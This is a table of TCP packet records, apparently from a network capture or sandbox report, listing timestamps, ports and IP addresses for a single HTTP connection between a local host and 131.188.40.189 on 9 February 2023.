Feb 9, 2023 01:01:55.702227116 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702244997 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702260017 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702291012 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702295065 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702323914 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702326059 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702358007 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702384949 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702388048 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702421904 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702430964 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702461958 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702487946 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702496052 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702528000 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702543020 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702555895 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702586889 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702610970 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702620983 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702647924 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702655077 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702704906 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702709913 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702721119 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702747107 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702775955 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702775955 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702801943 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702811003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702821970 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702841997 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702853918 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702877998 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702905893 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702929020 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702936888 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702963114 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702969074 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702994108 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703000069 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703023911 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703027010 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703037977 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703056097 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703080893 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703083992 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703109980 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703114033 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703136921 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703144073 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703155994 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703171015 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703186035 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703202009 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703214884 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703232050 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703244925 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703260899 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703273058 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703291893 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703319073 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703335047 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703352928 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703377962 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703382969 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703408003 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703414917 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703440905 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703444958 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703468084 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703473091 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703485966 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703505993 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703514099 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703536987 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703561068 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703566074 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703591108 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703593016 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703619957 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703624010 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703648090 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703650951 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703675985 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703680038 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703705072 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703710079 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703737020 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703743935 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703761101 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703799009 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703824997 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703851938 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703855038 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703879118 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703886986 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703912973 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703922987 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703941107 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703963041 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.703969002 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.703995943 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.704000950 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.704026937 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.704029083 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.704051018 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.704054117 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.704083920 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.704112053 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.704129934 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.704142094 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.704169989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.704171896 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.704199076 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.704210043 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.704232931 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.704262972 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.704288006 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.704292059 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.704310894 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.704329967 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.704346895 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.704380989 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725408077 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725454092 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725482941 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725513935 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725522041 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725545883 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725570917 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725581884 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725621939 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725645065 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725670099 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725680113 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725692987 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725716114 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725740910 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725748062 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725765944 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725780964 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725797892 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725821018 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725832939 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725857019 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725884914 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725887060 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725919962 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725930929 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725944996 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725950956 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725975037 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.725981951 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.725997925 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726021051 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726036072 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726052999 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726069927 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726084948 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726108074 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726119995 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726134062 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726152897 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726186037 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726200104 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726217031 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726246119 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726248980 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726279020 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726279974 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726303101 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726306915 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726329088 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726339102 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726356030 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726367950 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726391077 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726402044 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726414919 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726433992 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726455927 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726471901 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726495981 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726505041 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726520061 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726536036 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726557016 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726571083 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726594925 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726602077 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726633072 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726648092 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726679087 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726701975 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726726055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726732969 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726767063 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726802111 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726808071 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726836920 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726839066 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726871014 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726882935 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726907015 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726914883 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726944923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726957083 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.726979017 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.726991892 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727008104 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727035999 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727035999 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727066040 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727066994 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727097988 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727127075 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727128983 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727154016 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727164984 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727185965 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727216005 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727220058 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727255106 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727267981 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727283955 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727313042 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727317095 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727349043 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727359056 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727385044 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727412939 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727413893 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727447987 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727448940 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727477074 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727508068 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727510929 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727557898 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727561951 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727591038 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727597952 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727638960 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727648973 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727669001 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727669001 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727700949 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727719069 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727731943 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727765083 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727766037 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727794886 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727799892 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727828026 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727855921 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727866888 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727897882 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727910995 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727932930 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727967978 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.727969885 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.727998972 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728027105 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728032112 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728056908 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728085995 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728086948 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728115082 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728120089 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728147030 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728180885 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728183031 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728214025 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728223085 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728243113 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728269100 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728270054 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728296995 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728302002 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728326082 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728358030 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728357077 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728395939 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728403091 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728429079 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728463888 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728465080 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728502989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728540897 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728549004 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728570938 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728574991 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728620052 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728626013 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728655100 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728672981 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728687048 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728693008 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728719950 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728729010 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728754044 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728754044 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728782892 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728789091 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728815079 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728821993 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728849888 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728858948 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728882074 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728893042 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728915930 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728919029 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728951931 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.728955030 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728984118 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.728991032 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729018927 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.729022980 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729051113 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.729053020 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729085922 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.729087114 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729121923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729129076 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.729155064 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729171991 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.729187965 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729208946 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.729214907 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729243040 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729249001 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.729269981 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729286909 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.729295969 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729316950 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.729320049 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729345083 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.729365110 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.729372025 CET	80	49738	131.188.40.189	192.168.2.5
